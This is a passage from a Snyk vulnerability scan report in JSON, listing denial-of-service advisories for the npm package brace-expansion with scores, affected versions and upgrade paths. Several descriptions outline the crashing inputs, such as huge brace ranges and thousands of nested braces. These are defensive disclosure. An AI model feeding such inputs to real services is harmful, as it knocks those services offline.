"5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": 